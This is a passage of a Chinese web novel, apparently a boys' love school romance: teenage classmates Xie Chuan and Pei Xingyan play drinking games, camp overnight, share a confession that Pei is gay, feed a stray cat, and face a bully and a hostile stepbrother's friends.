李黎连声啧道:“倒反天罡。”
“哎呀猜不出来,太逆反了,自己说吧。”
齐阳:“你想知道问题不应该干一杯吗?!”
“我觉得这个问题不值得我干一杯!”李黎傲娇地摊手。
“好好好。”齐阳气吐血。
“我说吧,第一把就当个示范了。”罗繁打圆场,“问题是,在场的人当中谁最有人格魅力。”
张宴发出微嘲的惊叹:“哇哦~”
接下来是齐阳问谢川,这群人没有几个有脸皮的,有这机会肯定想深挖兄弟的黑料,谢川斜眼看齐阳一脸变态的表情,直觉不好。
他冷着脸警告:“问问题前掂量掂量后果啊。”
“嗨呀。”齐阳小声问:“初吻还在不在,如果不在,给谁了?”
听完问题谢川不以为意,淡淡地挑了挑眉,他猜测是因为刚才裴行砚说他有喜欢的人,所以趁游戏
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想深挖。
“还在。”
“?”齐阳小小的疑惑了一下,又觉着没意思,收好了八卦的表情。
在谢川回答问题后,一旁的裴行砚一副了然的模样,瞬间猜出了答案。
其他人还在懵逼,谢川反应尤为大,唰的转头看他,面上还带着深深的疑虑。
这么好猜吗?
不是,他为什么这么胸有成竹的猜出来了,初吻在没在,他知道?
谢川面无表情地转过头,端起酒杯一饮而尽。
接下来轮到他。
想了一会儿,不知道问什么,就随便从卡牌里抽了一张。
“你有没有暗恋对象,如果有,暗恋多久了?”
谢川看到这个问题就觉得毫无意义了,裴行砚这书呆子,一心只钻研学习,就怎么没看见他靠近过女生。
防止其他人听到,谢川歪着上半身,凑近裴行砚耳边,一只手虚掩着嘴,小声重复了刚才的问题。
这句话让裴行砚思绪陷入了短暂的回忆,他并不是前不久穿回来时才喜欢的谢川,而是高一。
外人眼中水火不容、互相使绊的他们,其实只是表面显露出的很浅显的关系。
他将暗恋隐藏的很好,既不敢让谢川知道,又想无限接近,自以为不露痕迹地闯进他生活的方式,反而笨拙的将关系弄得更糟。
这是一个人暗于心底、又波涛汹涌的悸动。
“有,一年了。”许是回忆酸涩,裴行砚嗓子有点紧,但眼睛紧紧地看着谢川一人。
谢川惊了,肉眼可见的表情变化,顿了片刻又不可思议地转过头。
他,裴行砚,长相逆天、成绩拔尖,除了脾气臭点,哪个妹子他告白不会答应?
还是说这人就喜欢玩点见不得人的暗恋。
其他人开始猜了,猜了好几个都没猜准,齐阳疑惑:“好歹提醒一下,关于哪方面的呗。”
谢川思考了一下,说:“关于爱情方面的。”
齐阳摩梭着下巴,缓缓道:“难道是,有没有谈过恋爱,谈多久了?”
谢川摇头,他现在心里痒痒的,也挺想知道这个问题的答案。
是谁能让裴行砚暗恋一年,那不得是天仙?
李黎突然一拍桌子,灵光一现的样子,赶紧说道:“应该是有没有暗恋的人,暗恋多久了!”
谢川挑眉,不可置否地点点头。
“我真聪明!”
“那……你们要接受惩罚哟。”
裴行砚抬手就想去拿酒,准备干一杯,李黎鬼精地转了下眼珠,快速摁住他的手:“喝酒多没意思,玩真心话大冒险吧。”
裴行砚爽快地点点头,谢川听了这话也打算抽牌,李黎说:“你不用,你干酒吧。”
谢川:“……”
咋还区别对待呢,他看李黎那八卦的样子,猜出她是想深挖裴行砚的回答。
“嗯……问你一个问题吧。”
直接问他暗恋的人是谁,太侵犯别人的隐私了,李黎换了个角度问:“你暗恋的人有什么特征,就是,你喜欢什么类型的。”
齐刷刷的一排视线看过去,谢川目光虽没落在他身上,低头转着酒杯,耳朵却专注地听着。
裴行砚往后靠着小座椅,双手交叉微微摁动着指节,嘴角逐渐扬起:“长的白净,高,挺乖的,但有时脾气有点臭,会打架,嘴上不饶人但其实内心柔软。”
“还有,长的…很好看。”
众人陷入了沉默的思索。
齐阳皱着脸总结出了几个字:“你喜欢……暴躁的女汉子?”
17. 你喜欢的不是女生
听到这结论,怎么想怎么别扭,谢川眉头微拧,总觉得哪里怪怪的,但又说不上来。
罗繁踢了踢他凳子:“别在这儿乱总结。”
“不是,你仔细品品呢。”
齐阳瞟了一眼裴行砚,刚好被抬眼的裴行砚冷冷地看了一下,但是表情依旧是淡淡的,齐阳一个激灵,补救道:“互补啊!我一听就听出来了,一个冷淡如冰,一个暴躁…不是,热情似火。”
“蛮有个性的,还会打架,不愧被你暗恋了一年。”
“……”
游戏轮了一圈下来,时间过了九点,今天体力透支,都挺累的,收拾收拾准备搭帐篷了。
谢川麻利地搭着帐篷,听见罗繁还在跟其他人小声讨论:“我突然觉得,学霸那形容,更像男的啊。”
“是啊,他好像也没说喜欢的是女生啊……”
“嘶,别乱说,赶紧搭吧,越来越冷了。”
“……”
谢川手上的动作停了,那话在他脑子里炸开了水花,他终于知道哪里不对劲了,难道,裴行砚是同性恋?
这想法冒出来谢川自己都吓了一跳,他偷看了一眼右边的裴行砚,夜色浓蕴,看不清楚。
又觉得多虑了,人家喜欢的可能就是比较特殊。
帐篷快搭好时,裴行砚悄然走了过来,他看了看谢川的帐篷。
谢川盯他:“干什么。”
“我的帐篷坏了。”尾音下压,颇有点可怜的感觉。
“所以?”
谢川有种不详的预感,下一秒,旁边的人道:“我可以跟你一起睡吗?”
“不可以。”快速且冷漠的拒绝。
裴行砚眨巴了几下眼睛,单方面冷漠的对峙,他叹气,“好吧……那今晚冷死我算了。”
不是哥们你,他妈的是在撒娇?
谢川一言难尽地绷着脸,他觉得裴行砚他妈的有多种人格。
“我帮你问问其他人可不可以多匀一副帐篷出来。”他妥协了。
问了一圈,每个人都带的是单人帐篷,根本匀不出来,谢川让齐阳跟芋圆儿挤挤,齐阳反问:“嘶,那你怎么不跟班长挤挤,你嫌弃他?”
“……没有。”
“那不就得了。”
“况且,他是你带出来的,你得负责是不是。”齐阳正义凛然地拍了拍他肩膀。
其实是因为除了谢川,没人敢跟裴行砚待一块,怕被冻成冰。
谢川认命,回去就开始数落裴行砚:“帐篷怎么坏的,不能小心一点吗?”
裴行砚知道他愿意跟自己睡了,眼睛都亮了起来,但面上还是很矜持:“我从家里带的帐篷,应该是早就坏了,我没检查。”
“哦。”
夜晚,本来挺困的谢川,直挺挺的躺着,眼睛紧闭,很多年没跟别人一起睡过了,总感觉不得劲。
特别是刚才荒谬的想法,使得神经有点紧绷,身边一点动静都能接收到。
“睡不着?”裴行砚突然出声。
谢川被这声搞得心震颤,瓮声瓮气地“嗯”了一下。
他在黑夜中睁开眼睛,盯着空中虚无,问出了刚才很好奇的问题:“你,喜欢的人我认识吗?”
裴行砚没想到他会问,以为他不会在乎,回答:“算是认识。”
“哦…”谢川迅速在脑子里搜寻了一圈,没发现符合特征的女生。
裴行砚微微转头,外面的光透进来了些,优越的骨相被照刻成剪影,他能看见谢川扑闪的眼睫。
“还有什么想问的吗?”
谢川知道裴行砚在看他,罗繁的讨论把他密密麻麻的思绪织成了一片乱网,他不知道为什么,潜意识里很想把这件事刨根问底。
他很在意吗?
在右边目光的注视下,谢川轻声说:“你喜欢的不是女生,对吗?”
昏暗的光线总能把时间无限拉长,在谢川以为他不会回答时,裴行砚开了口:“是。”
得到答案那一刻,谢川是震惊的,他几乎快忍不住条件反射的想要看他,但又忍住了。
震惊中仿佛又参杂着别的情绪,谢川没分析出来,反正不是坏的。
裴行砚将视线收了回来,闭上了眼睛,喉头滚过:“你很介意吗?”
“我是同性恋。”
裴行砚突然回想起刚开学的某一天,他拦下翻墙的谢川,当时在吵架,那天的状态莫名很不好,整个人都似泡在浮沉的水里,模糊一片,耳鸣,神经刺痛。
再抬眼看向谢川的那一刻,世界陡然清明,某种情绪喷涨,原本沉寂平淡的暗恋却猛然多出无数丝线,牵引出密密麻麻更多的爱恋,疯狂地扑向谢川。
近日无数个熟悉的片段,让他确定,他跟谢川还经历过一世,不过,都记不起来了,只是冥冥的感觉,他们羁绊深刻。
可是为何,又重来一世,让他回到了原点,是需要去改变什么?
他耐心地等待着,等待更多的记忆,带他寻找过去的真相。
……
谢川几乎是脱口而出,没有一丝犹豫:“不介意。”
暗光中,裴行砚上扬了嘴角,“嗯。”
气氛有点诡谲,谢川转移话题:“你睡觉规矩吧,要是乱动,晚上醒来你就不是睡帐篷里面了。”
一声短促地轻笑:“不会,规矩的。”
没一会睡意袭来,都沉沉睡去。
梦境中,有人呼喊着,拍打着门,谢川烦躁地呼出一口气,慢慢睁眼。
不是梦,是帐篷外的齐阳在叫他:“谢川,醒醒,起来看日出!别错过了啊!”
声音没有很大,压着嗓子喊的,谢川沙哑着音色回了句:“醒了。”
帐篷里暖意横生,谢川渐渐醒了神,动了动,结果手臂压根动不了。
他僵硬地转头,某人一只手压在他身上,脑袋顶着他脖子,呼吸绵长,像只大型犬。
这就是他说的睡觉规矩?
前一晚说他喜欢男的,醒来就抱着其他男人睡觉,是不是太没边界感?谢川在心中骂人。
他曲起两根手指将裴行砚的脑袋推开,几秒后,毛茸茸的头又回归原位。
“……”
谢川忍不了了,直接出声:“裴行砚,别睡了。”
片刻,困意浓倦又不知所以的呓语从耳边传来:“嗯?”
谢川心中痒痒的,打算直接将人推开,还好裴行砚及时抬头。
一抬头就看见某人满是躁气的眼睛。
裴行砚懵了一
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下,他睡得很安稳,因为熟悉的味道和体温,反应了一小会,他坐起来,撑着额头。
谢川莫名觉得有点燥热,提上衣服就钻出了帐篷。
“醒了就出来看日出。”
裴行砚懒懒地应了声,精神很不好,他头有些痛。
不是因为突然被叫醒,而是,这场景太熟悉了,又勾起了一些记忆。同样角度的侧脸,一样的同床共眠,他在记忆里看到了这样的谢川,不过不是不耐烦的,而是,带着情意的。
闭了会眼睛,裴行砚短暂地笑了声。
什么关系能同床共枕,还有身体记住的味道和温度?
谢川,好像,我跟你有很令人期待的未来呢。
裴行砚掀开帐篷,薄雾弥漫,空气湿冷,天边金灿的晨曦照耀着山峦、草木。
一缕霞光透过枝丫缝隙,落在浸着朦胧晨雾的谢川身上,神秘又自由。
裴行砚心脏狂跳,贪婪的欣赏着这一刻的美好。
直到谢川转身,歪着头朝他问话:“傻站着干什么,那边视野不好。”
他轻点头,笑着朝他走去。
其他人纷纷掏出手机拍照,脸上的困意早就被动人的朝霞驱散。
“来来,给我拍张照,下次来不知道什么时候了。”齐阳揽着芋圆儿,招呼着人给他举手机。
谢川斜靠在栏杆上,微微笑着看他们轮流合照。
然后就轮到了自己。
他跟裴行砚一把被齐阳薅过去,由于太高,被安排在了最后面并排站着。
罗繁半蹲着找最好的角度,看了一眼:“你们四班的就这几个人是吧?”
张宴:“对对,多拍点,相信你的技术!”
罗繁:“包的。”
谢川不喜欢拍照,但这次氛围刚好,景色宜人,也不想扫了众人的兴,就日常木着个脸站着看镜头。
“后面那两位,笑笑嘛,跟雕塑似的。”
“诶~对!”罗繁指挥着,“……不是怎么笑得这么僵硬。”
谢川咬牙:“闭嘴,拍你的,别管我。”
恰巧裴行砚转头,嘴角牵着微微笑意,照片定格。
一行人下山后分道扬镳,回家补觉的补觉,走亲戚的走亲戚。
谢川也没睡够,在车上的时候摇着脑袋打瞌睡,回了卧室还是强撑着洗了个澡。
水流冲过,睡意醒了大半,手机一直震个不停,谢川吹着头发点开群聊,是今早的照片。
齐阳一口气发了几十张,手机足足响了一分钟。
不仅有合照,还有偷拍的单人照,谢川眯着眼睛慢慢往下翻,停在了裴行砚没看镜头,偏着脑袋看他的那张照片。
阳光仿若给他渡了层金光,眼睫都晶亮一片,微垂的目光,看不清的眼神,还有,似宠溺般的浅笑。
谢川第一次感觉到裴行砚看他的目光不一样,以一个旁观者的角度,以前也偶尔撞到过这样的眼神,当时只觉得他奇怪。
但现在,他亲耳听到裴行砚承认,他喜欢男生后,再回首那些瞬间,心口似乎有些发烫。
他定定地看着照片,吹风机的热风烫到了皮肤才猛地回了神。
谢川揉着刺痛的头皮,皱眉骂自己有病,看一张照片看了一分钟。
18. 早晚还会被人打
群里在激烈地讨论,冯逸元艾特齐阳,疯狂踩踏他偷感的拍照技术和构图。
路边草:“@阳阳阳,你是用智能手机拍的吗?这像素糊得跟我奶家的座机一样!”
“这张什么意思?脸都黑成一团马赛克了,你不能迎着光拍吗!那么美的日出!”
“还有,凭什么谢川拍出来这么出片,你故意抓我丑照呢吧?!!”
直到这句,齐阳才敢吭声:“我技术菜我的错,但你说我故意拍你丑照就过分了,你也敢把自己跟谢川比?!他什么样你什么样,人家就算是你奶家的座机拍出来都好看!”
路边草:“……”
“好,这句话我撤回,但以后求你别当摄影师!”
张宴热闹看够了才冒出来分析自己的照片:“嗨呀,还是我们家黎姐好,这给我拍的,修修图转身能去隔壁影楼当模特了。”
宝娟i:“低调低调,主要是手机像素好,你说是吧@阳阳阳。”
阳阳阳:“我玻璃心,轻踩。”
齐阳突然艾特出来一张照片,是被抓拍的裴行砚和谢川的双人照:“这张谁拍的,真他娘的好看,好嫉妒,好羡慕,我要去问我妈,当初就应该找帅哥结婚,不然我也长不成这样!”
路边草:“你找打去了吧。”
谢川已经躺在了床上,点开了齐阳艾特出来的照片。他倚在栏杆上低头看手机,左边裴行砚一只手撑在他背后,微微仰着头,修长的双腿随意舒展,慵懒感十足,背后是绚丽的橙红色云层,连接着天际。
不论是构图还是人像,都堪称完美,谢川鬼使神差地点了保存。
他不记得这个场景,只记得有段时间一直在回复刘素婉的信息,问他什么时候回去。
他突然觉得,裴行砚变帅了几分。
翻了一会儿,又保存了一些照片,谢川开了静音,蒙着被子睡了。
他睡得很沉,几乎无梦,直到被“咚咚咚”的敲门声吵醒。
“小川,出来吃饭了,你都睡了一下午了。”
谢川眯着眼睛摸手机,下午五点半。
睡得太久,头都有些晕,打开门应声,说洗把脸就下去。
家里就她一个人,谢川肯定是不会问另外两人去哪里了。刚放下碗筷,手机震动。
是齐阳的信息:“川哥,晚上上网去啊,赛季初该冲段位了。”
谢川敲字回复:“你精力挺旺盛啊。”
“哎呀,假期时间一点都不想浪费,我睡了一下午,骨头都睡软了。”
刘素婉收拾桌子,看他一直闷头打字,问道:“是有什么事吗?”
谢川抬头,把聊天框里的字发出去,回答她:“嗯,朋友叫我出去玩。”
“也好,家里也没什么好玩的,去吧。”
他走了,家里就更显冷清,谢川斟酌了一会,还是开口询问:“他们去哪儿了,你一个人在家。”
刘素婉没想到谢川会主动问询,有些高兴:“哦,你唐叔叔带着小朔回了老家,家里有老人生病了。”
“嗯。”
谢川到网吧的时候,天刚刚擦黑,人比平时多,罗繁也在。
校园生活单一循环,没有很多的消遣方式,大多时候都是泡在网吧,偶尔还要躲藏学校主任的巡查。
“快快快上号,就等你了,我段位都掉到铂金三了。”齐阳上分的心情急切,给谢川拉好了椅子,开好了电脑。
一旁的罗繁看起来兴致就没这么高了,偶尔还打几个哈欠。
齐阳鄙视:“不是吧,出来上网都这鸟样,你家里人没给你觉睡吗。”
“呵,你猜对了,我就中午小睡了一会,下午的时候我妈非得让我起床写作业,说我只顾着玩。”罗繁一脸无奈,“就这会出来上网还是下午做了很多作业换来的。”
“我靠,你不说我都忘记还有作业这一茬了!”
“我记得六科加起来都二十张卷子了。”齐阳短暂的崩溃了一下。
他急忙寻求安慰,问旁边一句话也没说的人:“谢川你不会背着我做作业吧。”
谢川懒懒的,一直盯着电脑:“你觉得呢。”
“嗨呀,我最放心的就是你了哈哈。”
“那你问个屁。”
打了一个多小时,段位上了好几颗星星,谢川眼睛有些酸,扭了扭脖子,打算出去买点水。
“川哥,给我们俩也带瓶水!”齐阳在后面喊。
今天是个大晴天,晚上了温度也不是很低,他去旁边的便利店买了三瓶水,站着在外边吹风。
“谢川?”
熟悉的声音引得谢川回头,俞双奕混在一群人中间,看着都是学生。
俞双奕发现他后,离开人群快走了几步,脸上都带着笑, “好巧。”
“你在这儿干嘛呢。”
“无聊,出来跟朋友上网。”谢川看了眼后面的人,“你呢,也出来玩吗。”
“嗯,好不容易有个长假,出来放松放松,准备去ktv。”
“前两天遇见了刘姨,她说你跟同学爬山去了。”俞双奕一直微笑着看他,说着话向前走了一步,拉进了距离,“既然你回来了,明天去你家找你吃顿饭。”
他以前也去过几次谢川家,刘素婉对俞双奕的印象一直挺好,特别是知道小时候他经常照顾着谢川。
小学的时候,家里矛盾频发,每每吵起来,刘素婉就将谢川往外推,怕影响到他,但谢川总是很倔强,他怕自己不在,那个男人会做出什么过激的事情。
偶尔被强硬地推出来后,他无处可去,坐在门前的石墩上发呆,俞双奕发现了他,就会带他回家。
谢川点头,想着唐树才他们应该不会太快的回来,去他家也无妨。
后面他同学结对地走过来,一个女生惊讶道:“双奕你朋友啊,这么帅?以前怎么没听你提起过。”
说完还一直盯着谢川看,俞双奕不着痕迹地转了个身,挡住了她的视线。
准备介绍,另外一个男生开口:“我知道,这不就是上次竞赛结束后,你赶忙提着奶茶去看的人吗,连教室都没有回。”
谢川微微皱眉,往后退了一小步,一群人扎堆在他面前讨论他,有些不舒服。
俞双奕一只手很自然的搭在了谢川身上,笑着同他们介绍:“这算是我竹马,他叫谢川。”
“哦!他就是谢川啊,高二部很有名的一个人,听说打架很厉害呢。”女生八卦的渠道多一些,见到了本人,话不由得多了一点,“我高二
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的学妹说,前段时间另外一个男生还为他打了个架,真的假的?”
谢川不是很想回答,象征性地笑笑,很快话题也被略过,他们着急去唱k。
“那我先走了,明天见。”俞双奕跟他道别。
手机铃声响起,齐阳问他是不是走丢了,还不回来,快要渴死了。
回去后又打了好一会儿,运气好一直上分,接近九点的时候罗繁叫嚣着肚子饿,他们又找了个烧烤摊子撸串。
干吃着不过瘾,罗繁又想提几瓶啤酒,烧烤摊老板看着年轻,二十多岁,瞅了他们好几眼,叼着烟问:“成年了吗想喝酒。”
“……”罗繁无语,“哥,这都什么年代了,没成年怎么了,我又不是小孩子,喝点酒不犯法吧。”
“是不犯法,我看你们是学生,不喝总比喝好。”
老板沾染着社会的气息,穿着浪荡不羁,性子瞧着也洒脱。
看着这些青春洋溢的少年,忍不住多感叹了两句:“哎呀,我那时候没成年喝口酒,还得偷偷摸摸的,一不小心就被老妈追杀。”
齐阳觉得老板性子好,跟他唠:“那你可真惨,不过我也是偷摸喝哈哈,可不敢让家里人知道。”
罗繁提了几瓶酒和汽水,吃得更带劲儿了,旁边一桌有人开始划拳,罗繁瞅着突然觉得干巴,提议扔瓶子,剩了四分之一的汽水,谁扔不立起来,谁就喝口酒。
“行啊,我先来。”
齐阳第一次扔就立起来了,高兴得拍了下手:“哎哟我去,我真牛逼。”
“切,这谁不会扔。”罗繁边嘲讽边扔,结果水瓶直接掉地上了。
啪啪打脸。
齐阳大笑着嘲讽回去,轮到谢川,他随手一翻,很好,没立起来。
还是有点难度的。
齐阳:“喝,都给我喝!”
像是较上劲儿了似的,罗繁和谢川手气一直不行,一直输一直喝。
特别是谢川,玩了半小时,只立起来两次。
“……”
谢川破防,冷着脸说不玩了,他头有点晕了,而且容易上脸,此刻脸透红了不少。
罗繁抬头,冷不防看到了老熟人,一张嘴就起调了:“哟,这不是高伟吗,最近怎么样,过得舒心吗?”
谢川也抬了头,高伟正站在隔壁摊子面前买烧烤,显然没有看见他们,不然也不会在这儿买。
罗繁这一嘴嘲讽值拉满,高二整个年级谁都知道高伟被处分,还被通报批评,请了家长,赔付裴行砚医药费。
现在他看见谢川这群人表情跟吃了苍蝇一样,被罗繁一句话刺激得脸更黑了。
“切,现在胆子这么怂了,之前多豪横啊,你那群兄弟被你坑进了局子,恨死你了吧?”罗繁对他积怨颇深,虽然每次被找麻烦的不是他,但他为兄弟打抱不平,也早就看不惯这人了。
谢川没说话,捏着串五花肉慢条斯理地吃着。
高伟想走,经过上次的事情,对谢川都有些阴影了,不敢再惹。
但三番四次的被讽刺,转身走了也很没面子,附近都是人,他料定谢川也不会怎么样。
他出口回怼,眼神怨恨:“关你屁事,就算没有我,也有很多人看他不顺眼,早晚还会被人打。”
19. 你讨厌我吗?
谢川依旧没什么表情,齐阳忍不住了,一脸嫌弃:“嘴真他妈臭,你打人还打出优越感来了?被你欺负过的人不少吧,人家都说我川哥是替天行道,你?臭水沟里的石头,人见人厌。”
罗繁噗嗤一声笑出来,给齐阳竖起了大拇指。
真会骂人。
“你!…”
高伟嘴不过他,后槽牙都咬紧了,也戳到他痛处,如今班上的人见着他都绕道走,以前恭维他的小弟也都散了,甚至还回踩、避之不及。
“哼,谢川?也不过是狗仗人势罢了,别被捧得太高,最后摔得太惨。”高伟见谢川一直没说话,也就大胆了一下,找回面子般的拉踩回去。
不曾想,谢川下一刻踢开凳子,慢悠悠地站了起来。
面无表情地盯他。
高伟被吓了一跳,连连后退了几步,摆着姿势准备好跑了。
齐阳看他那逼样,觉得跟这种人废话都浪费口水,翻了个大大的白眼。
“是我上次没把你打爽,你又上赶着来讨打?”
“还是说你很不服?裴行砚处理方式太柔和了,让你觉得你又能蹦哒了。”
谢川语气很淡,因为喝了酒身体不太舒服,又增添了几分躁气。
他不想再跟这种煞笔起冲突,没必要。想着嘴上吓吓他,让他赶紧滚。
果然,摊子老板把烧烤递给他后,被鬼撵了一样走得飞快。
谢川轻嗤,转身去店里结账。
出来下台阶的时候,光线有些昏暗,他踩空了一阶,眼瞅着就要往下倒,被突如其来的双手撑了一下。
“你醉了。”
视线往上,谢川看见了裴行砚的脸,还有他身后跟着的一个男生。
“你怎么在这。”谢川站稳身子,与他拉开距离,“我没醉。”
“我跟朋友聚餐。”
后面的男生热情的主动上前打招呼:“你好啊,我叫苏随明,华安附中的。”
谢川眉心微动,唐朔也是这个学校,偶然听到过,他点点头:“你好。”
苏随明看了眼裴行砚,问:“他是不是你之前提起过的谢川?”
谢川也瞟了一眼裴行砚,他向其他人提起过自己,说的什么?
“嗯。”裴行砚对谢川说,“他就是那个帮忙安监控的朋友。”
“其实也不算是我安的,当时没空,就叫…”苏随明往后瞧了瞧,像是在找人,最后指着烧烤摊老板,“叫韬哥帮的忙,他就在这附近开店。”
刚好,老板也看见了他,抬手招呼了一下:“来几串?”
苏随明:“不了,才吃完。”
那监控视频起了不小的作用,谢川张口就道了句谢。
搞得苏随明愣了一下,就算道谢不也应该是裴行砚吗,他才是被打的那个。
罗繁醉意上头,摁着齐阳还想再喝,齐阳见谢川回来,求救:“川哥你快制止他,喝嗨了都。”
“诶,班长你啥时候来的。”
裴行砚朝他点点头,站在谢川身后,没打算走。
谢川踢了踢罗繁凳子,说:“马上十点了,你再不回家你老妈就追杀过来了。”
“嗯?!”罗繁听到了关键词,立马站起来,“回回回,马上回。”
齐阳怕他走着走着摔了,跟着他一起走:“我送送他……真是,菜得一批还使劲喝。”
走了几步又回头:“川哥你也小心点,喝了不少酒呢。”
谢川回头,看了他们一眼:“你们不走吗。”
“哦哦,我们马上去……”苏随明还没说完,就听到裴行砚说,“我送谢川回家,明天再说。”
苏随明:“??”
“好好。”说完意味深长的对裴行砚笑笑,离开了。
谢川不理解,皱眉问:“你送我干嘛,我不认路?”
裴行砚没理,牵着他手腕就走。
谢川稍稍瞪大了眼睛,是他喝酒还是裴行砚喝了酒,胆子这么大。
“放…放开。”谢川扭了扭手,不太自然,“像什么话,大街上拉拉扯扯。”
裴行砚听话地放开了,被这样一弄,凉风一吹,谢川酒醒了不少,插着兜惬意地欣赏起夜景来。
潍城近几年环境搞得还不错,到处都是绿化带和郁郁葱葱的法桐,微风一起,随风摇曳。
正当谢川沉浸式看树的时候,某人一开口就打破了美好的气氛。
“你假期作业做没?”
“……”谢川脸沉了一分,“谢谢你关心,没有。”
“还有三天,二十张卷子,做得完么。”
“没话题聊可以不说话,谢谢。”谢川非常礼貌的提醒,他很不想讨论这个问题。
“哦。”裴行砚消停了几秒,又开口找骂了,“要是不会做可以问我,虽然月考过去了,但要是你需要,我随时可以教你。”
“不用,不需要。”
沉默着走了一段路,街边店铺少了不少,光线更加的昏暗,裴行砚蓦地慢了脚步,闷闷地开口:“你讨厌我吗?”
谢川眉毛一挑,不明所以,扫了一眼旁边的人,他低着眼,不知道在想什么。
刺激到他了?
“为什么这么问。”
“因为你总是对我冷冰冰的,对我说话也很凶。”不是质问,反而语调低低的,很软。
“…………”
谢川扪心自问,从高一开始裴行砚屡次跟他作对,没有跟他打一架就不错了,怎么,还要求跟他说话得轻言细语,哄着宠着啊。
心里这么想,说出口却像是在安慰:“你想多了,我跟所有人说话都是这样。”
随后又补了一句:“我不讨厌你,好歹也帮我扛了一次打,不然成白眼狼了么。”
裴行砚黑沉的眼珠轻微转动,隐没在半边黑夜里的,是隐秘又得意的微笑。
“那我算是你朋友了吗,以后你们玩,可不可以都带上我?”裴行砚真诚地看着他。
是小心翼翼地靠近,谢川心软了一点,面色没有再绷着,还有点不好意思,他轻咳一声:“当然算…爬山不是带着你了吗。”
谢川突然觉得以前是自己表面了,他可能只是朋友少,家里人又不能陪伴他,导致性格比较冷硬,其实,接触下来,人也还不错。
“好。”
小腿有什么毛茸茸的东西蹭了一下,谢川低头看,是一只三花猫,尾巴高高扬起,还来回地蹭了好几下。
他蹲下身子,打开手电筒仔细地瞧了瞧,不是家养的,毛发有些脏乱,肚子也饿得瘪瘪的。
“流浪猫。”谢川有些洁癖,但还是伸手摸了摸它的头,很乖。
“它应该很饿,不然也不会冒险找路人撒娇。”裴行砚伸出手指,三花也伸着脑袋蹭了一下。
他看了一圈周围,已经走过了学校附近一段路,他起身,对谢川说:“我去找便利店买点火腿肠。”
“好。”
裴行砚走后,谢川蹲着观察它,看体型,应该五六个月了,虽然没有家,但眼睛还是很亮,瞳孔像深邃的宝石,对陌生人也没有太大的防备,充满着好奇。
谢川忍不住挠挠它下巴:“别对陌生人这么亲近,万一我是坏人呢。”
没几分钟裴行砚拿着三根火腿和一瓶矿泉水回来了。
谢川拿在手上给它喂着吃,裴行砚则在一旁把矿泉水倒在瓶盖里,舔完了就倒。
两人蹲在路边,引得路人频频侧目,吃了好一会儿,三花心满意足地躺在地上打了个滚。
裴行砚:“它太亲人了,不是好事。”
“没办法,希望它遇见的都是好人吧。”
路边急速驶过一辆摩托,附近偶尔会有社会人士开着机车炸街,声音很响,三花惊恐得
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窜进了草丛,一溜烟就不见了。
“走吧。”
“送了这么长一截路了,够了吧,你赶紧回家。”十点多了,他怕裴行砚回去太晚。
裴行砚点点头,盯了他好几秒,才转身走了。
第二天谢川是被嗡嗡作响的微信铃声闹醒的,摁开屏幕一看,俞双奕的语音电话。
“还没起床吧,我到你家楼下了。”
“嗯…”谢川揉了揉眼睛,看了下时间,上午十点半,不早了。
“我马上下来。”
洗漱一番下楼,俞双奕已经跟刘素婉很热情地交谈起来,茶几上放着几袋水果。
见谢川下来,刘素婉有些嗔怪:“你昨晚怎么不告诉我小俞要来,菜都没买多少…我现在去超市再买点吧。”
“刘姨,不用,随便吃点就行,主要是来看谢川的。”
几番劝说下来,她才终于不打算出去再采购了,笑着进了厨房,两个男生在外面帮刘素婉摘菜。
谢川才睡醒,话不是很多,一直是俞双奕在侃侃其谈。
“我不在的这段时间,有没有发生什么大事。”
这话意有所指,不过谢川没听明白,摇了摇头。
俞双奕默了两秒,又问:“昨晚我同学说,有个男生为你打了一架,是谁啊,齐阳吗。”
突然跳到昨晚的话题,谢川努力回想了一下,好像确实有个女生说了这么一句话,没想到俞双奕还记着。
“不是,我们班的另一个同学,意外而已,我被人堵了,他路过帮了下忙。”
谢川避重就轻,省略了后面发生的一系列事情,他觉得这事儿没什么好聊的,随意地回答。
“没受伤吧。”俞双奕抬了眼,上下扫视了他一圈。
谢川笑笑:“没有…倒是帮我的那个人,受了伤,还有点严重。”
“一个不会打架的呆子,还喜欢当英雄冲出来保护别人。”
他自己都没注意到,说到裴行砚的时候,嘴角不自觉的小幅度弯了弯,俞双奕盯着他,没有接话。
沉默了半晌,俞双奕又恢复了温和的模样,温声说:“以后要是有什么事,不要瞒着我,学校又不是没人帮你撑腰。”
谢川随口“嗯”了一声,他不需要谁撑腰,一向都是他保护别人,习惯了独当一面。
吃了饭,俞双奕坐了一会就回家了,高三比其他年级要少放两天假,学习任务也重些。
假期最后一天,谢川还是拿出作业做了起来,群里也发了一部分答案,写了两个小时,越写越烦躁,他扔了笔,下楼去厨房拿了瓶水喝。
这时,大门开了锁,一群人交谈的声音由远及近,有些吵嚷。
“诶,你那个弟弟没在家吗?”
弟弟两个字刻意加重了音量,接着又是唐朔的声音:“不知道,你们随意坐。”
涉及到了自己,谢川暂时不知道怎么出去,他不是很想跟唐朔碰面,捏着矿泉水瓶小口小口地喝着。
大概有三个人,另外一个男生说话了:“怎么感觉你一点都不在乎家里多了外人,要是我,肯定不给他们好脸色,我家凭什么让其他人鸠占鹊巢。”
“嘁,你还不知道朔哥,脾气太好了,估计懒得跟外人计较哈哈哈。”
谢川蹙眉,他虽然从没有将这里当做自己真正的家,也一直有种不踏实、虚妄感,但从怀有恶意的陌生人嘴里说出来,一口一个外人,还骂他鸠占鹊巢,心里还是堵得慌。
面对他朋友的议论,唐朔一直没说话。
谢川忍不了了,怕等会他们进厨房,被动被看见,不如主动出去。
他冷着脸出去,一眼没往那边看,客厅的笑声戛然而止。
上楼梯的时候,背后传来不轻不重地嗤笑:“原来不是不在,是躲在厨房偷听啊…”
“在拽什么,又不是他的房子。”
20. 有多偏爱
谢川停住脚步,他忍着不说话,不代表别人可以更加肆无忌惮地讥讽。
他不知道唐朔到底什么意思,要是对他不爽,大可以当他面说出来,没必要装作一副大度隐忍的模样,谢川也一直看不透,所以很不喜欢。
他渐渐转身,俯视地看着他们,脸色平静却透出可怕的黑沉。
“唐朔,你的朋友未免也太没素质,在别人家嚼舌根是想显摆什么呢。”
唐朔坐在沙发上,翘着二郎腿,没什么表情地看谢川,没说话,他朋友又急了。
“你又在拽什么,是你家吗就摆主人的威风。”那男生轻佻地笑,指了指唐朔,“正主在这儿坐着呢。”
谢川觉得好笑,微嘲地勾了勾唇:“皇上不急太监急,跟你说话了吗。”
“你…!”
唐朔终于张了嘴,制止了那男生:“别说了。”
他抬头对着谢川,声音不咸不淡,没什么起伏:“不知道你在家里,这些话你就当耳旁风,听了就算了。”
